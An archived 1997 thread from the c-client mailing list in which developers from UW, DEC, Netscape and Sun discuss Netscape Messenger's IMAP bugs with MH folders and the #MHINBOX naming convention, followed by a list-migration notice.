Mon, 7 Apr 1997 12:18:13 -0700 (PDT) Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA10122; Mon, 7 Apr 1997 12:18:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id MAA08783; Mon, 7 Apr 1997 12:15:18 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA20674 for ; Mon, 7 Apr 1997 12:14:52 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA12369 for ; Mon, 7 Apr 1997 12:14:48 -0700 Received: from Ikkoku-Kan.Panda.COM (gary@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id MAA03359; Mon, 7 Apr 1997 12:14:46 -0700 (PDT) Received: from localhost (gan@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id MAA29689; Mon, 7 Apr 1997 12:14:40 -0700 (PDT) Message-Id: Date: Mon, 7 Apr 1997 12:13:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: pderr@zk3.dec.com Cc: c-client@u.washington.edu Subject: re: problems using Netscape Messenger with IMAP and mh In-Reply-To: <9704071748.AA22703@quarry.zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Netscape Messager is known to have many bugs with IMAP handling. This isn't a c-client issue, it's a Netscape issue. Hopefully, the next Messager beta will be much better; as it stands now it's unusable. From pinedev@shivax2.cac.washington.edu Mon Apr 7 12:53:09 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 12:53:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA02908 for ; Mon, 7 Apr 1997 12:53:04 -0700 (PDT) Received: from lists.u.washington.edu (lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA10791; Mon, 7 Apr 1997 12:52:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id MAA25982; Mon, 7 Apr 1997 12:49:52 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA42554 for ; Mon, 7 Apr 1997 12:49:33 -0700 Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA28008 for ; Mon, 7 Apr 1997 12:49:31 -0700 Received: from quarry.zk3.dec.com by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) id PAA31703; Mon, 7 Apr 1997 15:32:49 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA03931; Mon, 7 Apr 1997 15:32:49 -0400 Message-Id: <9704071932.AA03931@quarry.zk3.dec.com> Date: Mon, 07 Apr 97 15:32:49 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: Your message of "Mon, 07 Apr 97 12:13:23 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Netscape Messager is known to have many bugs with IMAP handling. This isn't a > c-client issue, it's a Netscape issue. Hopefully, the next Messager beta will > be much better; as it stands now it's unusable. Yes, but this was the beta of Messenger that just came out in the last day or so. I had really hoped it would have been improved enough to be useful. Anyway, I hope someone from Netscape is listening and tests it with the UW server and mh folders.... Peter From pinedev@shivax2.cac.washington.edu Mon Apr 7 14:00:48 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 14:00:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA04529 for ; Mon, 7 Apr 1997 14:00:37 -0700 (PDT) Received: from lists3.u.washington.edu (lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA01138; Mon, 7 Apr 1997 13:59:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA01536; Mon, 7 Apr 1997 13:55:46 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA37082 for ; Mon, 7 Apr 1997 13:55:28 -0700 Received: from jimi-hendrix.mcom.com (h-205-217-228-33.netscape.com [205.217.228.33]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA05474 for ; Mon, 7 Apr 1997 13:55:26 -0700 Received: from jimi-hendrix.mcom.com ([205.217.228.33]) by jimi-hendrix.mcom.com (Netscape Messaging Server 3.0b2) with SMTP id AAA28898; Mon, 7 Apr 1997 13:55:21 -0700 Message-Id: Date: Mon, 7 Apr 1997 13:55:21 -0700 (PDT) Reply-To: Mike Macgirvin Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mike Macgirvin To: pderr@ZK3.DEC.COM Cc: c-client@u.washington.edu Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: <9704071748.AA22703@quarry.zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: "Mike Macgirvin" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > So I told Netscape Messenger to use the #mh/ prefix. It seems to find > all the folders (even the nested ones!). It displays the message > headers and the first message I select OK, but then no matter what > message I pick, it always displays the first message I picked. Also, > for some reason, the #mh/inbox folder shows no messages (although it > actually contains 700 messages). It seems to be confusing "inbox" with > "INBOX" which it maps to the mail spool file. It seems to need a > customizable "inbox-path" like Pine which could be used to specify the > "#MHINBOX". First, you might try and rebuild your server with mh first on the driver chain if this is possible. Sounds like another "fetch" driver is kicking in on your secondary mailboxes before they reach the MH driver. I don't think there's any quick answer to the #MHINBOX problem, because if you use the default server-directory setting in Communicator, you'll end up with #mh/#MHINBOX and no way to strip off the #mh without losing knowledge of your other folders. Although Mark claims that this isn't a c-client problem, I suggest that it is... The server requires a non-standard string with which to designate what is commonly referred to by the IMAP specification and other servers (including his own) as "INBOX". It's (questionably) legal to do this, but I think you'll find very little support for it in any clients except pine. In the final analysis, it doesn't matter how legal it is if other client vendors aren't willing to perpetuate the "#MHINBOX" hack. Unfortunately, I don't believe this particular driver of the UW server has enough of a following to influence product decision makers. If MH format worked as invisibly in the UW server as the many other mailbox drivers supported by c-client, Messenger should work with it as well as it does them. ;-( Please note: I am not directly involved with client engineering. /* ==================== PERSONAL OPINION of ======================== */ /* Mike "The MAX" Macgirvin mailto:MAX@Netscape.COM */ /* Postmaster General http://www.netscape.com/people/max/ */ /* Messaging Server Development Netscape Communications Corporation */ /* ================================================================= */ From pinedev@shivax2.cac.washington.edu Mon Apr 7 14:22:09 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 14:22:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA04575 for ; Mon, 7 Apr 1997 14:21:57 -0700 (PDT) Received: from lists3.u.washington.edu (lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA13070; Mon, 7 Apr 1997 14:21:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA02443; Mon, 7 Apr 1997 14:18:59 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA24524 for ; Mon, 7 Apr 1997 14:18:47 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA26576 for ; Mon, 7 Apr 1997 14:18:44 -0700 Received: from Ikkoku-Kan.Panda.COM (jesus@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id OAA03432; Mon, 7 Apr 1997 14:18:40 -0700 (PDT) Received: from localhost (ittai@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id OAA00164; Mon, 7 Apr 1997 14:18:35 -0700 (PDT) Message-Id: Date: Mon, 7 Apr 1997 14:01:37 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Mike Macgirvin Cc: pderr@ZK3.DEC.COM, c-client@u.washington.edu Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 7 Apr 1997 13:55:21 -0700 (PDT), Mike Macgirvin wrote: > First, you might try and rebuild your server with mh first on the > driver chain if this is possible. Sounds like another "fetch" driver is > kicking in on your secondary mailboxes before they reach the MH driver. That is extremely unlikely, since MH folders are directories, and no other driver will respond to #mh. > I don't think there's any quick answer to the #MHINBOX problem, > because if you use the default server-directory setting in Communicator, > you'll end up with #mh/#MHINBOX and no way to strip off the #mh without > losing knowledge of your other folders. This is a bug in Communicator. If you have a default server prefix, you should use a LIST command to have the server mash it together with user input prior to sending it to a SELECT command. Or, you should just not use default server prefixes at all. > Although Mark claims that this isn't a c-client problem, I suggest > that it is... The server requires a non-standard string with which to > designate what is commonly referred to by the IMAP specification and other > servers (including his own) as "INBOX". There is a good reason for this. Many users have the remnants of an mh inbox in their directory, from having tried mh years ago. When c-client (in a long ago version) automatically selected MH format for INBOX when it saw an MH inbox, these users complained bitterly since MH format does not support sticky flags. Then, too, there were some people who wanted to have an INBOX separate from an MH inbox. That's the entire reason why #mhinbox was created. #mhinbox means something very special -- it means not just #mh/inbox but also "move all mail from the real INBOX into #mh/inbox". In any case, the fact that Netscape shows the wrong messages indicates a definite bug in Netscape's handling of IMAP protocol. > It's (questionably) legal to do this, but I think you'll > find very little support for it in any clients except pine. Every usable client allows me to specify my particular INBOX string without having knowledge wired in that I can not change. More importantly, usable clients allow me to specify multiple INBOX strings, since multiple inboxes are used frequently at UW and elsewhere. Any client that does not do this is not, in my opinion, usable. "INBOX" is just a nebulous entity meaning a "primary" or "first level" INBOX. Client vendors need to stop thinking of there being only one incoming mailbox. > In the final analysis, it doesn't matter how legal it is if other > client vendors aren't willing to perpetuate the "#MHINBOX" hack. A client which does not permit the user to issue arbitrary mailbox names is not a complete IMAP client. I strongly advise against trying to fob off an incomplete IMAP client as a product, since this will give considerable aid to your competitors. From pinedev@shivax2.cac.washington.edu Mon Apr 7 16:11:42 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 16:11:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA07574 for ; Mon, 7 Apr 1997 16:11:36 -0700 (PDT) Received: from lists.u.washington.edu (lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA04506; Mon, 7 Apr 1997 16:10:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id QAA24384; Mon, 7 Apr 1997 16:08:50 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA28384 for ; Mon, 7 Apr 1997 16:08:23 -0700 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA08953 for ; Mon, 7 Apr 1997 16:08:20 -0700 Received: from scrappy.mcom.com (scrappy.mcom.com [207.1.145.107]) by netscape.com (8.8.5/8.8.5) with ESMTP id QAA02436 for ; Mon, 7 Apr 1997 16:08:18 -0700 (PDT) Received: from [207.1.144.171] by scrappy.mcom.com (Netscape Mail Server v2.0) with SMTP id AAA2254 for ; Mon, 7 Apr 1997 16:07:46 -0700 Message-Id: <33497EFB.C58DB568@netscape.com> Date: Mon, 07 Apr 1997 16:10:54 -0700 Reply-To: kmcentee@netscape.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Kevin McEntee" To: "c-client@u.washington.edu" Subject: Re: problems using Netscape Messenger with IMAP and mh MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 4.0b3 (Macintosh; I; PPC) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Note: Mike MacGirvin has forwarded me some mail from the c-client mailing list. I am now subscribed to 'c-client' and I hope I can help out whomever started this thread. I gather from the forwarded mail that there are 2 problems being discussed. 1. Communicator is displaying the wrong message when the user selects a message for display. This would seem to be a bug in Communicator. If you can give me more info about your server then maybe I can fix this problem. 2. Communicator does not allow the user to specify an alternate name for INBOX. Which clients allow this now? If it is so important then why is it not addressed in the RFC? I must confess that since our first public Beta in December, this is the first hint I've had that people want this. - Kevin From pinedev@shivax2.cac.washington.edu Tue Apr 8 14:55:12 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 8 Apr 1997 14:55:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA27655 for ; Tue, 8 Apr 1997 14:55:04 -0700 (PDT) Received: from lists.u.washington.edu (lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA11048; Tue, 8 Apr 1997 14:54:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA08262; Tue, 8 Apr 1997 14:50:46 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA34162 for ; Tue, 8 Apr 1997 14:49:56 -0700 Received: from mail13.digital.com (mail13.digital.com [192.208.46.30]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA14717 for ; Tue, 8 Apr 1997 14:49:54 -0700 Received: from quarry.zk3.dec.com by mail13.digital.com (8.7.5/UNX 1.5/1.0/WV) id RAA08997; Tue, 8 Apr 1997 17:40:25 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA11831; Tue, 8 Apr 1997 17:40:23 -0400 Message-Id: <9704082140.AA11831@quarry.zk3.dec.com> Date: Tue, 08 Apr 97 17:40:21 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: kmcentee@netscape.com Cc: "c-client@u.washington.edu" , pderr@zk3.dec.com Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: Your message of "Mon, 07 Apr 97 16:10:54 PDT." <33497EFB.C58DB568@netscape.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Kevin, > I gather from the forwarded mail that there are 2 problems being discussed. > > 1. Communicator is displaying the wrong message when the user selects a > message for display. This would seem to be a bug in Communicator. If you can > give me more info about your server then maybe I can fix this problem. I'm using the UW IMAP 4rev1 beta (the latest). The problem is the same with the released UW IMAP4 server. With the flat file mailbox format, it works OK. To use it with mh folders I specify "#mh" as the "IMAP mail directory" in Communicator's mail preferences dialog box. It discovers all my mh folders correctly, even the nested ones. I open a folder and the first message is displayed fine, but then after that no matter which message I pick the same first message from that first folder is displayed, even if I switch folders. > 2. Communicator does not allow the user to specify an alternate name for > INBOX. Which clients allow this now? If it is so important then why is it > not addressed in the RFC? I must confess that since our first public Beta in > December, this is the first hint I've had that people want this. Pine allows you to specify the INBOX name. So does Sun's Solstice mail client, so I can access my mh inbox, but it doesn't allow me to specify #mh/ as the mail folder directory. Peter From pinedev@shivax2.cac.washington.edu Tue Apr 8 18:33:31 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 8 Apr 1997 18:33:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA31153 for ; Tue, 8 Apr 1997 18:33:22 -0700 (PDT) Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA04043; Tue, 8 Apr 1997 18:33:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA18744; Tue, 8 Apr 1997 18:31:18 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA34018 for ; Tue, 8 Apr 1997 18:30:52 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA15814 for ; Tue, 8 Apr 1997 18:30:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA15037; Tue, 8 Apr 1997 18:30:45 -0700 Message-Id: Date: Tue, 8 Apr 1997 18:23:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: kmcentee@netscape.com Cc: "c-client@u.washington.edu" Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: <33497EFB.C58DB568@netscape.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 07 Apr 1997 16:10:54 -0700, Kevin McEntee wrote: > 2. Communicator does not allow the user to specify an alternate name for > INBOX. Which clients allow this now? If it is so important then why is it > not addressed in the RFC? I must confess that since our first public Beta > in December, this is the first hint I've had that people want this. The ability to access secondary folders is definitely addressed in the RFC. Many advanced main environments support multiple inboxes, e.g. mrc+pine is my INBOX for Pine-related mail. It's important to recognize that while this is accessed as if it were a secondary folder ("SELECT pine" at UW, or something like "SELECT user.mrc.pine" or "SELECT inbox.pine" at CMU), this is definitely not a secondary folder in my usage. In fact, the folder accessed as "INBOX" may be nothing more than the "miscellaneous junk, don't know how this is categorized" folder. The false notion that a user uses only one IMAP server is extremely common, but is also remarkably short-sighted. I routinely use two IMAP servers simultaneously, and those are just my two most important IMAP servers. It is a major bug for any client to limit the user to one IMAP server. I don't want to do client comparisons in public (or with a vendor); just let's say that there are commercial and freeware clients which permit all this today. From pinedev@shivax2.cac.washington.edu Tue Apr 8 18:48:31 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 8 Apr 1997 18:48:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA31145 for ; Tue, 8 Apr 1997 18:48:27 -0700 (PDT) Received: from lists3.u.washington.edu (lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA04274; Tue, 8 Apr 1997 18:48:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA06798; Tue, 8 Apr 1997 18:46:15 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA44130 for ; Tue, 8 Apr 1997 18:46:04 -0700 Received: from venus.Sun.COM (venus.Sun.COM [192.9.25.5]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA07532 for ; Tue, 8 Apr 1997 18:46:01 -0700 Received: from Eng.Sun.COM ([129.146.1.25]) by venus.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id SAA14730; Tue, 8 Apr 1997 18:45:52 -0700 Received: from jurassic.eng.sun.com by Eng.Sun.COM (SMI-8.6/SMI-5.3) id SAA15222; Tue, 8 Apr 1997 18:45:23 -0700 Received: from roam by jurassic.eng.sun.com (SMI-8.6/SMI-SVR4) id SAA09881; Tue, 8 Apr 1997 18:45:17 -0700 Message-Id: Date: Tue, 8 Apr 1997 18:40:52 -0700 (PDT) Reply-To: Bill Yeager Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Bill Yeager To: Mark Crispin Cc: kmcentee@netscape.com, "c-client@u.washington.edu" Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: "Your message with ID" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >The false notion that a user uses only one IMAP server is extremely common, >but is also remarkably short-sighted. I routinely use two IMAP servers >simultaneously, and those are just my two most important IMAP servers. It is >a major bug for any client to limit the user to one IMAP server. And has been since 1987 when Mark wrote the first IMAP client in Interlisp (: Bill From pinedev@shivax2.cac.washington.edu Tue Apr 8 20:40:15 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 8 Apr 1997 20:40:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id UAA32231 for ; Tue, 8 Apr 1997 20:40:08 -0700 (PDT) Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id UAA17380; Tue, 8 Apr 1997 20:39:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id UAA22771; Tue, 8 Apr 1997 20:36:46 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id UAA04544 for ; Tue, 8 Apr 1997 20:36:27 -0700 Received: from mailhost.cmc.net (mailhost.cmc.net [206.102.31.250]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id UAA03647 for ; Tue, 8 Apr 1997 20:36:26 -0700 Received: from durin.cmc.net (bem@durin.cmc.net [206.102.31.200]) by mailhost.cmc.net (8.8.5/8.7.3) with SMTP id UAA04178; Tue, 8 Apr 1997 20:40:16 -0700 (PDT) Message-Id: Date: Tue, 8 Apr 1997 20:35:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Brian Moore To: Mark Crispin Cc: "c-client@u.washington.edu" Subject: Re: problems using Netscape Messenger with IMAP and mh In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 8 Apr 1997, Mark Crispin wrote: > > I don't want to do client comparisons in public (or with a vendor); just let's > say that there are commercial and freeware clients which permit all this > today. Well, considering your position, that's probably wise. But I'm not in the same position, so what the heck. :) I would recommend that any IMAP developer look at products like Mike Macgirvin's ML (or heck, even the REAL old xlview that I ran on my Sun3). It easily supports multiple mailboxes on multiple systems, moving items between them, searching them for 'Logical Views' or 'Virtual Mailboxes', which allows even one-giant-INBOX to be manageable. I'm sure there are lots of ideas there for developers (including Mike's current employer :)) to get some ideas from. It's a nice clean client that shows off all sorts of things that make IMAP much nicer than POP. (And, yeah, I'm using Pine at the moment, but that's 'cause I'm home on a pokey modem and it seems to deal with slow lines better... but on a nice connection, ML makes my 200-300 pieces of mail a day manageable.) TkRat is another intriguing client. It has some quirks and is very early code, but the product is nice, allowing trees of mailboxes, so you could have a structure like: workmail --- ProjectA ---- Financials | +-------Engineering | +-------Personnel (etc) |--- ProjectB ---- Financials +-------(etc) ispmailbox --- newsgroup_responses ---- comp.os.linux.advocacy +----- rec.games.roguelike.nethack etc. Both ML and TkRat are freeware and both show different ways of exploiting the features of IMAP over POP3. I would hate to see an IMAP client that treated IMAP like POP3. I don't even see much of a point in it. POP3 will be with us for a LONG time, like it or not, so why bother doing IMAP if you're not going to exploit the features. From pinedev@shivax2.cac.washington.edu Tue Apr 1 18:08:19 1997 -0500 Return-Path: Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mail1.andrew.cmu.edu (8.8.2/8.8.2) with ESMTP id SAA20296 for ; Tue, 1 Apr 1997 18:08:18 -0500 (EST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id PAA26280; Tue, 1 Apr 1997 15:04:38 -0800 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id PAA17430 for ; Tue, 1 Apr 1997 15:04:34 -0800 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id PAA10423 for ; Tue, 1 Apr 1997 15:04:30 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id PAA26701 for ; Tue, 1 Apr 1997 15:04:28 -0800 Message-Id: Date: Tue, 1 Apr 1997 14:34:57 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: c-client Interest List Subject: change to c-client mailing list MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The c-client mailing list has changed to LISTPROC. I am no longer directly involved in the loop of maintaining the mail list. The service host has also changed to u.washington.edu; that is, the new addresses are: c-client@u.washington.edu to post c-client-request@u.washington.edu or listproc@u.washington.edu to make subscription changes however the old c-client@cac.washington.edu address will continue to work. You all should have received a message informing you of your new subscription status. Please don't send subscription change requests to my personal mailbox (mrc@cac.washington.edu) any more. From pinedev@shivax2.cac.washington.edu Wed Apr 2 19:42:03 1997 -0500 Return-Path: Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mail1.andrew.cmu.edu (8.8.2/8.8.2) with ESMTP id TAA07145 for ; Wed, 2 Apr 1997 19:42:02 -0500 (EST) Received: from host (lists.u.washington.edu [140.142.56.13]) by 